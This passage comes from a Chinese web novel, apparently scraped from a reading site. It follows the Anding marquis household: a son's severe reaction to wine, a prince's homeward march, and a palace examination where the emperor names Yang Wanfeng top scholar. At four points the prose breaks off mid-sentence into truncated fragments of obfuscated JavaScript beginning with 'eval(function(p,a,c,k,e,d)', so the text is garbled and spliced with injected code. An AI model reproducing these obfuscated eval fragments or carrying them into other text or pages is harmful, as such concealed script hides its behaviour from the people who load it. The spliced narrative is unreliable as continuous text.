“说白了不还是挂念对方。”他叹了口气,“说开了就完了,继续喝酒!” “喝!”祝贤盛的手差点没撑住桌子,眼看着人就要栽倒,下人连忙扶了一把,把他扶回了椅子上。 张辅之举起酒杯一饮而尽,随后道:“你以后可不能再这样了。” 那声音中竟带着一丝委屈:“我当初拒了那个位子,就是不想跟你有芥蒂,要是这样你反倒心里有了隔阂,那我这么做还有什么意义?” 祝贤盛低下头,沉默了半晌:“你以后就走你该走的路,我已经是个废人了,不值得你俩干什么。” “怎么叫不值得?!”陆恒之不高兴道,“这我也得说说你了,你把我俩当成什么了?和咱们哥仨的感情比起来,那高官厚禄算个屁啊!” “而且你怎么就是废人了?”他指着门外,“纨枫,跟着你念了四年的书,连中五元!” “他就是你!那小子知道你的期望,他愿意带着你的意志往前走,人生在世一辈子,不就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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三个人到了院外,就坐在台阶上看月亮。 今日的月亮圆得很,钱志远仰头喝了一口:“嗯,不烈但是挺甜,真是好酒!” 说罢他把酒坛子递给杨纨枫,杨纨枫也仰起头喝了一口,随后皱起了眉头:“我怎么觉得是苦的。” 钱志远笑道:“苦中带甘,酒就是这样的,你多喝几次就知道了。” 杨纨玦看了他一眼:“你家里不是挺穷的么,怎么看你这样喝酒的次数还不少?” “喝酒取暖啊。”钱志远仰头望着天上皎洁的明月,“冬天炭火不便宜,但是土酒就好买多了。” 杨纨玦接过酒坛子,也喝了一口:“确实不烈,也是甜的。” 原来酒也可以不那么难喝。 “下个月这个时候,就该殿试了吧。”钱志远看向俩人,“有信心没?” 杨纨枫整理了一下袖口:“尽力而为。” 杨纨玦笑了:“反正不会落榜就是了。” “这倒是。”钱志远哈哈大笑,“我再来喝一口。” 哥仨轮流接过酒坛子,把酒坛子里剩下的酒瓜分干净,钱志远和杨纨玦倒是还没什么,只是杨纨枫已经醉得站不起来了。 “这才几口啊。”钱志远扶起杨纨枫,“这酒量不行啊。” 杨纨玦只觉得自己浑身发热:“你怎么跟个没事人似的。” “哥们千杯不醉。”钱志远道,“行了,我看你也有点醉了,自己还能走回去吗?” 杨纨玦摆摆手:“你送纨枫回院子吧,我自己没问题。” 钱志远扶着杨纨枫回了腾云轩,芷若和巧织连忙把杨纨枫扶回了榻上:“少爷这是喝酒了?” 她们印象里少爷从未喝过酒,怎的第一次喝就喝得这么醉? “这小子酒量不行。”钱志远道了一句,便挥手离开了。 芷若和巧织面面相觑,只好给杨纨枫盖好被子。 只是到了第二日,全府的人都醒了,唯独杨纨枫仍旧在昏睡,到了日上三竿,芷若走进来一看,便见到杨纨枫的胳膊上布满了红斑。 她连忙往屋外跑去:“少爷酒精过敏了!快去拿药!” 78. 凯旋 杨纨枫酒精过敏的事传遍了整个侯府。 消息传到的时候,苏若琳午觉刚睁开眼,一听这消息直接被吓醒了,连忙往腾云轩赶去。 “纨枫从来没喝过酒,怎么酒精中毒的?” 后来一问,才知道是三个小子半夜偷喝了张辅之带来的屠苏酒,钱志远和杨纨玦还没什么,偏偏杨纨枫这孩子体质特殊。 等到苏若琳到的时候,芷若刚给杨纨枫抹过药,见到来者连忙行礼。 苏若琳看着杨纨枫没有血色的小脸,心疼得要命:“怎么样了?” 芷若答道:“回夫人,少爷对酒的过敏太严重了,若不是发现得早,只怕再晚半个时辰,少爷就......” “这么严重?!”苏若琳心疼之余不由得大惊。 芷若点了点头:“总之,少爷今后怕是一滴酒都不能沾了。” 苏若琳叹了口气:“左右也不是什么必须的东西,我也不喜欢那玩意,往后不喝也不碍着什么。” 话音未落,院外传来了喧闹声,苏若琳不由得皱起眉:“吵什么,不知道纨枫在休息吗?” 巧织从外边跑了进来,表情一言难尽:“回夫人,秋姨娘和钱夫人带......押着侯爷,和钱少爷来了。” 苏若琳心中的愠怒平复了几分,她也知道,到底这几个孩子也不是故意的,纨枫对酒精过敏这事谁也不知道,人家亲娘们也都是识大体的,这就带着孩子来认错了。 她叹了口气,便向外厅走去。 刚到外厅,外厅的门就被推开了,钱氏一手揪着钱志远的耳朵一手推门,就这么把钱志远“提”了进来,后边跟着秋姨娘母子。 钱志远的耳朵被揪得红里透紫,显然钱氏是下了狠劲的,都这样了钱志远也没敢喊疼,那孩子的一双手也已经红肿了,看样子是先打了一顿再带过来的。 苏若琳眉头一挑,倒,倒也不必如此。 秋姨娘倒是没对儿子动手,只是那脸上的表情也不好看,她身后的杨纨玦蔫得像只鸵鸟。 等到钱氏拽着儿子走进了,把钱志远往前边一推,厉声道:“跪下!” 钱志远老老实实地跪了下来。 随后钱氏也跪到了钱志远旁边,苏若琳连忙起身,让红烛去把钱氏扶起来:“钱夫人这是做什么!” 钱氏不肯起:“我和志远蒙受夫人和少爷的大恩,如今却差点害死少爷,真是罪该万死啊!” 她说着就要大拜:“求夫人尽管责罚我们母子,否则我这良心难安啊!” 红烛和绿俏连忙死死地拦住钱氏不让她磕头,苏若琳不由道:“孩子也不是故意的,钱夫人这是何必呢!” 话音未落,秋姨娘带着杨纨玦也跪了下来,只是秋姨娘要含蓄得多:“这一次纨玦犯得过错实在是太大了,他无以为辩,也是妾身管教不力,还望夫人责罚!” 这下苏若琳的愠怒是彻底消失了,甚至一个头两个大:“如今纨枫已经脱离危险了,两个孩子也不是故意的,他们哥仨关系好才会如此,若是我因此罚了两个孩子,等到纨枫回头醒了只怕也会怨我。” “纨枫从前也没喝过酒,以后知道了他不能碰酒,有了分寸,就不会如此了,你们快快起来吧。” 好说歹说,钱氏和秋姨娘才终于肯起身,杨纨玦和钱志远劫后余生地对视一眼,然后恳切地看向苏若琳:“我们......能去看看纨枫吗?” 苏若琳刚要开口答应,外厅的再次被推开了,一道洪亮的吼声响彻外厅:“你们几个真是能耐了啊!” 祝贤盛拄着拐走了进来,脸气得通红,边走边喘着粗气,显然是刚知道了消息就匆匆赶过来的。 杨纨玦和钱志远想上去搀扶,然后祝贤盛抬起拐,一下一个精准地命中了俩人的腘窝,于是刚站起来的俩人惨叫一声又跪了下来。 “真是长胆子了,你们几个知不知道那屠苏喝着不烈,后劲有多大!” 祝贤盛劈头盖脸地骂了下来,跪在地上的俩人不禁打了一个哆嗦,脸越来越苦。 苏若琳无奈地摇头,然后安慰仍旧不安的钱氏和秋姨娘:“现在好了,有人来罚他俩了,这事不怪你们,左右现在已经没事了,先回去吧。” 钱氏和秋姨娘不约而同道:“我们能去看看纨枫少爷吗?” “当然。”苏若琳带着她们进了内室。 内服外敷的药都用过之后,杨纨枫的脸色已经好了许多,身上的红斑也褪了大部分,看起来就只是睡着了一般。 见此,钱氏和秋姨娘这才松了口气,回到外厅以后看到祝贤盛已经骂累了,坐在椅子上喝茶,而俩小子还跪着一动不动。 秋姨娘叹了口气,钱氏道:“该!” 秋姨娘不由得想起钱氏提着钱志远耳朵一路走过来时,那雷厉风行的样子,虽说有些泼辣,倒真真是个妙人! “钱夫人先前已经体罚过钱少爷了吧,这再罚不得罚坏了?” “那是他自找的。”钱氏道,“贵府于我母子恩中如山,就算是我们母子的性命都赔上去,也不够还的!” 对方都这么说了,那秋姨娘身为侯府的人怎么也得安慰几句,不过看钱夫人的样子,这话瞧着倒不像奉承话,像是真心的。 但愿如此吧,夫人看人从未出过纰漏,想必钱夫人就是个实诚人吧。 杨纨枫昏迷了足足一日,直到晚上才堪堪醒来,见到他醒了,众人的心这才落了下来。 晚上的时候,就连陆恒之和张辅之都过来看了一眼,这谁都没想到,三个小子偷喝了昨晚的酒,还能出个这么大的事。 陆恒之笑道:“这仨小子识货啊,知道是好久。” 祝贤盛冷哼一声。 陆恒之指着他跟张辅之道:“这老小子肯定吓坏了,一身衣钵传承差点就断送了。” “你能说点人话不?”祝贤盛瞪着他。 陆恒之大笑,笑够了才安慰几句:“你急什么,正所谓大难不死必有后福,那孩子如今经了这么一遭,说不定殿试就能稳拿状元!” 他说完推了推张辅之:“老张你说对不对。” 张辅之嘴角微抽,但还是勉为其难地配合了一下:“嗯。” “哦对了,有个事你怕是还不知道。”陆恒之说着拉开墙边祝贤盛的柜子,把先前他和祝贤盛演练的舆图拿了出来。 舆图展开,张辅之倒吸了一口凉气,用能杀人的目光看着陆恒之:“这玩意你从哪弄的?” 祝贤盛他一个瘸子每天连侯府的门口都出不去,不可能是他,那就只能是陆恒之,这小子真长胆子了啊,不知道盗窃舆图是杀头的大罪吗! 张辅之想着就要从陆恒之手里把舆图夺过来:“赶紧烧了!” “哎,你干嘛!”陆恒之连忙把舆图护在怀里,“这是我自己画的,不是偷的!” 张辅之眯着眼睛狐疑地盯着他:“你自己画的?” 堂堂儒圣居然被怀疑了,这陆恒之可就不高兴了:“咋滴你还不信啊,我堂堂儒圣的学问没能力自己画一张舆图?” “你最好是。”张辅之瞪着他,“以后藏着点,真漏出去了谁信你是自己画的?” “你啊。”陆恒之笑嘻嘻道。 “真出了事,我也保不住你!”张辅之一拂袖。 陆恒之把舆图摊开在桌子上,张辅之转过身就要走。 “你上哪去?”祝贤盛喊他。 “我身为朝中重臣,不应干涉军事机密。”张辅之头也不回道。 “还军事机密。”陆恒之乐了,“你知道这上边写的是什么吗?” 张辅之掀开帘子就要走出去:“不管是什么,都不是我该看的。” 祝贤盛喝了口茶,润润嗓子:“行,小宁安王的行军动向你也不想看。” “?”张辅之猛地回过头,“你们在研究这个?” “不然呢?”祝贤盛鄙夷地看着他,“研究你们楚军一路被突厥撵到京城吗?” 张辅之青筋暴起,问题是他还偏偏不知道怎么反驳。 因为楚军真的是屡战屡败,就快被突厥追着打了! 先前新帝点拨的武将不知何故行军出了问题,迟迟不能到战场,守城的官兵们也是屡战屡败,突厥在大楚的土地上肆意凌虐,如今已经吞下了两座城! 他心头都在滴血啊! “我说。”祝贤盛看着他,“你不会真觉得,这江山落在新帝手里还能保住吧?” 张辅之沉默了。 他从来没这么觉得。 实际上,他对新帝早已心灰意冷。 可是他是朝廷的太师,既居高位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而彼时,千里之外的北疆,被吞并的最后一城——芦城里,萧怀琳接过了芦城郡守的诚意——北疆的舆图,满意地笑了:“识时务者为俊杰。” 二月的芦城里寒冰尚未解冻,可芦城郡守却在这刺骨的寒风中额头冒出了冷汗,这个宁安王当真是太恐怖了! 这时,副将韩龙递来了一封千里之外的信,附到萧怀琳耳边悄声道:“京城那边送来的。” 萧怀琳挑眉,接过信封很快遣散兵士,而后回到自己的屋里拆开信封。 说白了,就新帝那几把刷子,京城根本没有值得他在意的东西,唯一能从京城通过密探寄来的信,自然是...... 萧怀琳细细阅读着那封信,当看到“庆国公府世子夫人携其子诬陷杨纨枫少爷春闱抄袭”时,他的脑中闪过了一万个疑问。 庆国公府?这是哪家国公,得有多大的自信,才能公然诬陷一个连中五元、满京城赞誉的少年英才? 信后面还附着庆国公府的资料与周夫人、贺章之的生平信息。 待看到周夫人的画像时,萧怀琳挑眉,原来是她...... 曾于霓裳阁和郡主府三番五次地挑衅母亲,不过都被母亲狠狠地压了一头的那个蠢女人。 “呵。”萧怀琳不由得冷笑,这个女人斗不过母亲,就把注意打到他弟弟的身上来了? 到最后不过是自取其辱罢了。 不过...... 庆国公府,他记住了。 这笔帐等他回去慢慢算。 他将书信全部细细看过,确认母亲一切安好,安定侯府也一切安好之后,萧怀琳将信收进匣子里,走了出去。 “韩龙。” “末将在。”韩龙连忙过来应道。 “召集全体将士。” “啊?”韩龙傻眼,不是,王爷您一炷香之前才刚把将士们遣散! 萧怀琳看着他,那双好看的眉眼在冰雪中显得异常寒冷,甚至还带着一丝杀气:“你有什么意见?” “没没没,没有!”韩龙连忙摇头,暗叹王爷的气势真是越来越足了。 “那就去。”萧怀琳淡淡道,“收拾整备之后,即刻凯旋。” “凯旋?”韩龙眨巴眼,随后反应过来,“王爷您是说,咱们要回家了?” “嗯。”说这话的时候,就连萧怀琳自己都没有意识到,他的唇间已经勾起了一丝极淡的笑意,“回家。” 母亲,我要回来了。 79. 殿试 来时一路征战四方,吞并一座就打下一座,未曾觉得有什么,然而如今再回过头望向来时的路,才发现自己已经走了这么远。 归家的路如此漫长。 西边突厥战事的近况也源源不断地送到萧怀琳这里,他一边冷笑一边担心,笑得是新帝昏庸无能,担忧的是按照突厥如今的行军速度来看,如果他不赶快回去的话,只怕比起他的凯旋,京城的沦陷会更早。 这般想着,萧怀琳不由得催促属下们加快脚步。 母亲,母亲,我就要回来了。 你们不会有危险的,等着我...... 副将韩龙疑惑地看着萧怀琳,王爷向来喜怒不形于色,这还是第一次能明显地看出王爷情绪不对劲。 而且,就连当初粮草不足,要急行军抢夺粮食的时候,他都没见过王爷如此焦急的模样。 王爷这是什么了? 然而王爷不说,他也不敢问,只得配合着调动属下将士加快速度。 只是他们一路打上来就耗费了足足十一个月,如今要回去,就算是再快,没个两三个月怎么可能呢? 唉,归家的路,遥遥无期啊。 萧怀琳看了韩龙一眼,将手里的信甩给他,韩龙打开信一看,差点没从马上摔下来。 “这是真的还是假的?!” 突厥已经累计拿下了大楚近十座城了! “这这这,这是从什么时候开始打的?是在咱们进攻北疆之后吧?突厥趁人之危啊!”韩龙气愤地猛捶了一下大腿。 萧怀琳冷笑一声:“你把这消息全军上下通知一遍吧。” 先前萧怀琳把消息捂死,连韩龙都不泄露,是为了防止影响军心,而如今凯旋而归,士气高涨,军士们本就盼着归家,如今得知家乡被突厥攻打的消息,归家的心只会更加迫切。 果不其然,得知突厥攻打大楚的消息后,将士们非但没有心神不宁,反而还开起了玩笑。 “突厥那帮东西好大的胆子!竟敢趁着我们打北疆的时候攻打大楚!” “等我们回去,把他们打得屁滚尿流!” “话说这朝廷也太没用了吧,那么多武将和军队加起来都打不过那个突厥?” “要不说呢,可不是人人都能像咱们王爷这么用兵如神嘛!” “对对对,王爷真是治军有方、料敌如神啊!多亏了王爷,咱们才能这么快就拿下北疆十城!” “等咱们回去以后,在王爷的带领下把突厥也拿下,哈哈哈!” 嬉笑着,全军的速度几乎加快了近一倍,如果说方才还只是为了遵从王爷的命令,那么现在,他们迫切地希望回去,把突厥打回老家。 行路漫漫,就这样又过了一个月,他们目的所在的京城,迎来了国丧后最大的一场科举——殿试。 皇宫内的宫墙金红闪烁,座座宫殿金碧辉煌,就连那地面上的瓦砾,都仿佛映射着黄金般的光芒。 这里是大楚最庄严神圣的地方,无人可以亵渎,彼时黎明方至,整座皇宫如一头从沉睡中苏醒的雄狮,瞪着摄人心魂的双眼盯着鱼贯而入的考生们。 杨纨玦和杨纨枫两兄弟自然在其中。 经由太监们的指引,考生们一路行至保和殿,正巧的是,他们在路上遇到贺章之。 此前当堂对质一事,经过京兆尹亲自调查,正式确认周夫人母子为诬告,其带来的证人皆为受贿做的伪证。 然而当时告发杨纨枫抄袭的是周夫人自己,贺章之并没有一起,因此京兆尹也就只缉拿了周夫人和那些作伪证的证人。 而且由于当初府试考场外杨纨枫的那番言论是当众发表,贺章之也只是碰巧听到,因此他也构不成抄袭。 虽说于律法上贺章之是保全了自己,然而他的名声到底也是彻底的臭了,文章被从贡院的墙上撤了下来,满京城也都知道了他不仅抄袭,还恩将仇报、贼喊捉贼。 短短一月未见,贺章之往日骄傲自信的模样已经消失得无影无踪,如今贺章之再碰到他们,恨不得逃得远远的。 如今俩人碰上了,贺章之还没来得及逃跑,周围考生的窃窃私语已经开始了。 “看哟,就是那个庆国公府的世孙,据说是一直在巴结杨公子,可人家杨公子压根不理他,他热脸贴上冷屁股之后就气急败坏了,贼喊捉贼污蔑人家。” “据说他还拿钱贿赂了许多考生作伪证呢,欺负杨公子家底单薄,可是他没想到杨公子是儒圣罩的哟,向来听闻庆国公府自诩高人一等,这下踢到铁板了吧?” 边上的考生闻言,不禁好奇道:“什么什么,那杨公子和儒圣是什么关系?杨公子连中五元,何等天资,莫非是儒圣的学生?” “似乎不是。”那原本议论的考生道,“据说杨公子是有自己的先生的,那先生好像是个瘸子。” “瘸子?”询问的考生不可思议道,“四肢有残者不得科举,不可入朝为官,这是老祖宗留下来的规矩啊,杨公子怎么拜了一个连科举都没法参加的人当先生?” “那谁知道呢。”原本议论的考生摇头,“说白了,这话我也是听别人说的,能不能当真还不作数呢,万一杨公子真是儒圣的学生呢?” “那想必就是了,不然儒圣为何要这么护着杨公子。” 一众考生唏嘘着,杨纨玦摇了摇头,想要和杨纨枫一起离开,却没想到杨纨枫径直来到了那些议论的考生们面前。 此时此刻,杨纨枫的神情是从未有过的郑重:“家师尊名祝贤盛,同儒圣先生乃是至交。” 而后在那些议论者们呆愣的目光下转身离开。 “诸位不要误会了。” 贺章之望着杨纨枫潇洒离开的背影,张了张嘴想说什么,却最终什么都没能说出口。 他活得这么自在,那么叛逆,甚至连拜瘸子为师这种事都能做得出来,甚至在别人以为他是儒圣的学生这么光荣的事情时,他都选择讲述真相。 ......自己也真想活得这么任性一回啊。 四月正是春暖花开的时节,早晨的太阳升起后,为微凉的保和殿增添了一丝暖意。 一众考生陆陆续续地进入这座恢弘巨大的宫殿,此时此刻,自整个大楚各地厮杀而出的千余名殿试考生全部聚集于此,迎接这科举里最重大、也是最荣耀的一项考试。 考生们先按照各自考引找到座位落座,没过一会,只听到太监尖锐细长的声音唱诵道:“皇上驾到——” 一众考生不禁屏息凝神,圣上要来了!他们真的见到天子了!!! 太监的唱颂声刚落,便见到后殿的紫金珠帘被掀开,最先入目的是衣服下摆绣着的龙,逼真得仿佛要飞腾而出一般,随后那身金丝龙袍便全部浮现在了众人的视线里。 至于龙袍再往上,众人便看不到了,有言道天子真容不可直视,若是胆子大的也许会偷偷瞥一眼,至于抬起头直视这种事,有谁胆大包天敢和圣上对上眼?! 新帝来到御座前,目光环顾着殿内的千余名考生,一股雄心油然而生。 这是他主持的第一场殿试,这殿内的所有考生,都是他的第一批“学生”,也是他第一批完全属于自己的势力。 如今备受大臣们桎梏只是一时的,等到他把自己的势力培养起来,整个朝中他说一不二,那才是真正的皇帝! 想到此,新帝不禁对未来充满了希冀,他笑道:“开始吧。” 殿试的主持监考等工作由礼部官员亲自负责,历经点名、散卷、赞拜、行礼等礼节,殿试正式开始。 毛笔落在纸上轻柔无声,殿内静得针落可闻,没过一会新帝就觉得无聊了,他站起身伸了个懒腰,踱步走下台阶。 一旁的礼官连忙上前拦住新帝,附到新帝耳边小声道:“陛下,监考时要端坐于龙椅之上,不可下来啊!” 新帝不满地看着他:“为什么不能?” “这......”礼官迟疑了,向来礼仪便是如此,之前从来没有皇帝下来过,也从来没有皇帝问过,这谁知道为什么啊? 新帝见状便直接推开了礼官:“没说为什么不能就是能,别挡道。” 礼官擦了擦额头的汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他仔细端详着杨纨枫,越看越满意,这么小的年纪就长得如此俊俏,虽然比起自己来还差那么一点,但是作为自己的心腹足够了! 这般想着,新帝就要拍拍杨纨枫的肩,道一句:“勉之!” 然而手刚要抬起,又觉得这样当着一众考生的面公然偏爱这小子,会不会不太好? 此时此刻,若是一旁的礼官能听见新帝的心声,恐怕会呐喊得整个保和殿都是回音:何止是不太好啊!!! 这简直是太不好了!!!各种方面都完全不好啊!!!陛下这个想法有都不该有啊!!! 然而礼官听不见,好在新帝最终也没有付诸行动,他转悠了一圈,发现也并非所有考生都是三十左右,只不过像那个杨纨枫那么小的确实是独一份。 这更加让他确定了,这个杨纨枫就是上天派来辅佐他的人才! 但是这殿试监考也太无聊了,新帝不禁打了个哈欠。 好不容易挨到日落,考生们纷纷上交答卷,离场,至此,他们的科举之路彻底告终,殿试不会落第,但至于能拿到个什么名次,就要看他们自己了。 新帝也松了一口气,早知道殿试这么无聊,那他以后还不如找个人替他监考,甭管殿试主持的考官是谁,到最后及第的也都是他的官。 接下来的阅卷就简单了,他特意询问了礼官阅卷的流程,最简单的就是阅卷官们先挑文章,把挑出来最好的十个文章给他,他再来定这十个人的名次。 虽然看那些文章也是个很枯燥的活,他不仅得看,还得挑出个第一第二第三,但是他很有信心,第一名必然是那个杨纨枫的。 那个杨纨枫实在是太合他眼缘了,他甚至已经想好了,哪怕前十名里真的没有杨纨枫,若是杨纨枫没有考得太差,那也破例把他抬上状元。 哪怕这孩子的文章没有太过出彩,可是这孩子才十三啊!和那些三十多的老头子比本来就难得,等再过个几年,那不是妥妥的朝中重臣。 如是等到了阅卷官们把前十名的文章挑出来,呈到他面前的时候,他还特意问了一句:“那个叫杨纨枫的考生,他的文章在没在前十里边?” 80. 金榜题名 礼部尚书颔首道:“回陛下,在里面的。” “好!”新帝猛地一拍大腿,“状元,杨纨枫!” 礼部尚书呆愣了片刻,满脑子都是“我是谁我在哪”。 不是,陛下,这文章您连看都还没开始看呢! 不过说完这句话,新帝倒还是问了一句:“你也是看过杨纨枫的文章的,你觉得他如何?” 这礼部尚书确实没法反驳:“确实是这十人中最佳。” 新帝高兴极了,你看看,这都不用他破例提拔,人家就是最优秀的! 这不就是老天送给他的辅臣吗! 太监在一旁故作神秘道:“陛下日理万机,怕是还不知道民间最近流传的奇闻吧?” “哦?”新帝道,“什么奇闻?” “这位杨公子啊,在殿试之前的考试里,一路拿下了五个第一,已经连中五元了!”太监笑了笑,“如今再加上陛下您这钦点的状元,那就是连中六元了!” 末了还不忘拍马屁:“要不说陛下您慧眼识珠呢,这随便一看,都能挑中最好的那个!” 新帝哈哈大笑:“那看来这状元他非但是实至名归,这还是不给不行了!” 太监道:“这还得是陛下您青睐他呀,依奴才看啊,要不是您,这匹千里马还未必能遇得见伯乐呢!” “你这奴才,可是越来越会说话了。”新帝指着他笑,复又不禁好奇,“这个杨纨枫是个什么来历,出身何处?” 这个太监就无从知晓了,礼部尚书答道:“回陛下,杨纨枫出身自安定侯府,乃安定侯胞弟,只是还有一事,臣不知当讲不当讲......” 新帝心情正好,闻言当即大手一挥:“有什么不当讲的,讲!” 于是礼部尚书便将杨国公当年牵涉受贿,被贬为安定侯一事,以及老安定侯杨询被柳姨娘下毒身死的事讲了出来。 “臣以为,杨公子固然天资卓然,心性极佳,然其出身也终究是有些污点,端看陛下是否介意了。” “就这点小事?”新帝摆摆手,“他爷爷和他爹的事又不是他的问题。” 太监适时附和道:“哪有人是完美无瑕的呢?若是这杨公子真的天赋异禀,各方面还都挑不出问题,那反倒还要提防一番。” “不过说到底啊,也还是陛下大度,出身这事其实也不是小事,但是陛下不追究,愿意给他个机会,那实在是他的荣幸!” 太监的一番奉承快把新帝夸到天上去了,礼部尚书绷着脸不言语,宦官干政,还有什么比这更礼乐崩坏的? 等到新帝笑够了,礼部尚书叹了口气,提醒新帝也该定定其他人的名次了。 “嗯,确实,朕光顾着为朕的千里马高兴了,都忘了正事。”新帝难得认识到一次自己的问题,他拿起桌上的那几篇文章,眼睛一瞥,又瞥到了一个眼熟的名字。 “杨纨玦?”新帝挑眉,“这又是谁?怎么名字和杨纨枫这么像?” 礼部尚书刚要开口,太监抢先答道:“回陛下,这个杨纨玦啊,就是如今的安定侯,也就是杨纨枫的兄长。” “虽然这杨纨玦的成绩没有杨纨枫出彩,但十六岁入殿试,且秋闱和春闱都拿了第七,也是个不可多得的人才呢!” “喔!十六岁,虽然比他弟弟差点,但是和其他考生比起来也是个天才了啊!”新帝不禁道。 “可不说嘛。”太监笑道,“这一门两兄弟双双入前十,也不知安定侯府是不是被文曲星保佑了。” 哦?新帝思索着,莫非上天派给他的亲信不是一个人,而是一家势力? 天助我也啊!新帝越想越觉得合理,问道:“安定侯府这一辈,除了这俩兄弟还有谁?” 礼部尚书嘴角抽了抽,无奈地回答:“安定侯府除去安定侯本人杨纨玦、二公子杨纨枫,还有三公子杨纨岚和四公子杨纨绫。” “三公子杨纨岚童试同样位列前十,只是获取秀才功名后却不再科举,据说是经商去了;而四公子杨纨绫年岁尚小,如今也不过才四岁。” “经商?”新帝皱眉,“放着好好的考科举拿功名这种正事不做,却偏偏要去行商。” 若是继续科举不好吗?和他两个兄长一起考个殿试,都来当他的心腹多好?做那什么劳什子行商,真是的。 说罢,新帝又看向手里的那些文章:“这十个人里边,还有谁是二十五以下的?” 礼部尚书的眼皮止不住抽动,我的陛下呀!要是天才都跟菜园子里的大白菜似的到处都是,那还能叫天才吗! “回陛下,没有了。” 新帝有些扫兴,不过仔细一想也合情合理,上天派给他的千里马自然也不能太多,多了那就不稀罕了。 他看了几眼杨纨玦的文章,虽然能看懂,但是这密密麻麻的字堆在一起实在是眼晕,遂又问向礼部尚书:“这个杨纨玦,你觉得他能排到第几?” 礼部尚书沉吟了片刻:“杨纨玦的文章虽然能从诸多考生中脱颖而出,然臣以为,此十人俱是英才,杨纨玦虽优异,然在这十人之中,还是稍显弱势。” “那就是拿不了前三咯?”新帝摸着下巴,沉吟着。 这两兄弟日后必然都是他要重点提携的,杨纨枫的第一实至名归,那么杨纨玦到底要不要破例提拔一下呢? 礼部尚书一眼就猜中了新帝的想法,不动声色道:“臣以为,一门双兄弟皆前十已然声名显赫,若是皆位列一甲,恐被有心人加以利用。” 新帝了然:“这倒是,说来这俩人也都正值年少,还需多加磨砺。” 礼部尚书庆幸于陛下终于听劝了一回,没整出什么幺蛾子,语气中多了一丝欣慰:“陛下英明。” “那就这样吧。”新帝大手一挥,“你们原本挑出来的第二第三都是哪几个,就按照挑好的来吧。” “......”礼部尚书沉默了。 行,那好歹比您非得提几个本来不配拿一甲的上去强。 “臣遵旨!” 于是乎,几日后,在无数百姓的注目下,张辅之亲自来到贡院的东墙前,接过礼部官员手中的金榜,张贴到了墙上。 待到那一张张金榜全部张贴完毕,报录的队伍自贡院东门而出,敲锣打鼓,声势浩大。 正所谓人有四大喜事:久旱逢甘霖,他乡遇故知,洞房花烛夜,金榜题名时。这是当今即位后的第一场殿试,从报录的队伍比往年壮大了整整一倍就能看出来,朝廷对此事有多重视。 今日安定侯府喜气洋洋,在苏若琳的安排下,侯府从里到外每扇大门上都挂起了红灯笼,贴上了红对联,不知道的还以为是要过年。 碰巧北辰侯夫人带着令秋歌来拜访,一见侯府这模样,被吓了一跳:“你们府上这是又有什么喜事不成?” 苏若琳含笑不语。 早在前几日,张辅之就带来了消息,杨纨枫被新帝钦点为状元,杨纨玦位列二甲第四,赐进士出身。 何夫人见苏若琳这幅表情,便知有内情,又想到今日是殿试放榜的日子,她挑眉:“人有四大喜......” “真被你给猜中了。”苏若琳笑道。 这下何夫人还有什么是不知道的呢? 她连忙凑近苏若琳:“你快跟我说说,纨玦和纨枫都拿了个什么名次?” 苏若琳没回答,带着她往屋里走去:“今日报录人还没来呢,你待会不就知道咯!” “你还卖起关子来了。”何夫人也跟着笑了,就从苏若琳的态度来看,那俩孩子定然考得不错。 真是可喜可贺啊。 令秋歌去了明月轩找白宝,有些日子没见,白宝比起从前又胖了不少,见到令秋歌来,“喵”了一声就扑倒了对方的怀里。 “又胖了呀!”令秋歌挠了挠白宝的下巴,而后者发出了满意的“呼噜”声。 彩衣笑道:“白宝也是时常盼着令小姐来,如今见到了,瞧瞧这都高兴成什么样子了。” 自大小姐失踪以后,这明月轩虽一切照旧,但也彻底没了人气儿。 夫人是几乎从不踏足这里的,众人都能明白,大小姐的失踪一直是夫人心里的一根刺,唯恐再见到这院子触景生情。 至于其他人,就更不可能来了。 也就只有令二小姐时常来找白宝,才能给明月轩带来点生机。 想到此,彩衣也不由得心头一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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报录人接过荷包,登时手一沉,暗叹这给的可真多啊!先前秋闱报录的同事就曾说过安定侯府出手相当阔绰,如今再一看,这何止是阔绰,这分明是撒钱啊! “不辛苦不辛苦!”报录人连忙说了一堆吉利话,末了道,“能来贵府报录实在是下官的荣幸,还能沾点文曲星的仙气!” 等到苏若琳带头送报录队伍出了府,报录人又作一揖:“烦请状元郎速速赶往午门外,请安定侯至日暮前赶往皇宫外汇合!” 待苏若琳等人目送着报录队伍离开,邻里街坊纷纷来道喜:“真是可喜可贺啊!贵府二位公子如今可真是高中了!” 苏若琳含笑着应下,吩咐一众丫鬟拿出事先准备好的碎银往外撒:“各位都沾沾喜气!” 这下邻里街坊们贺喜得更卖力了,一边接钱一边祝贺,热闹非凡。 等撒完了钱,苏若琳让两兄弟快些准备出门,看着杨纨枫手里捧着的状元冠服,欣慰之余,她不由得鼻头一酸:“你这孩子,如今也有大出息了。” 杨纨枫眉目含笑,如沐春风:“待我日后登高位,给母亲请封一品诰命!” 如今他已连中六元,今时今日,他终于能堂堂正正地说出这句话了。 “好。”苏若琳轻笑,抬起手想揉杨纨枫的头,却忽得发现这孩子的个头已经和自己差不多高了。 回想起初见两个孩子的时候,还是两个小瘦猴子,如今竟已经有了翩翩君子的模样了。 当真是岁月不留人啊。 苏若琳感慨着,而在杨纨玦那边,秋姨娘激动地抱住自己的儿子,一边高兴一边哭:“儿啊,你高中了!” “如此一来,娘终于可以放心了。”杨纨玦轻笑,“自殿试一来,娘时常为儿子担忧,很久没有睡过好觉了,今晚想必能安心入睡了吧?” “你这孩子。”秋姨娘拍了下他的胳膊,“娘怕是今晚更得高兴得睡不着呢!” 母子二人相视一笑。 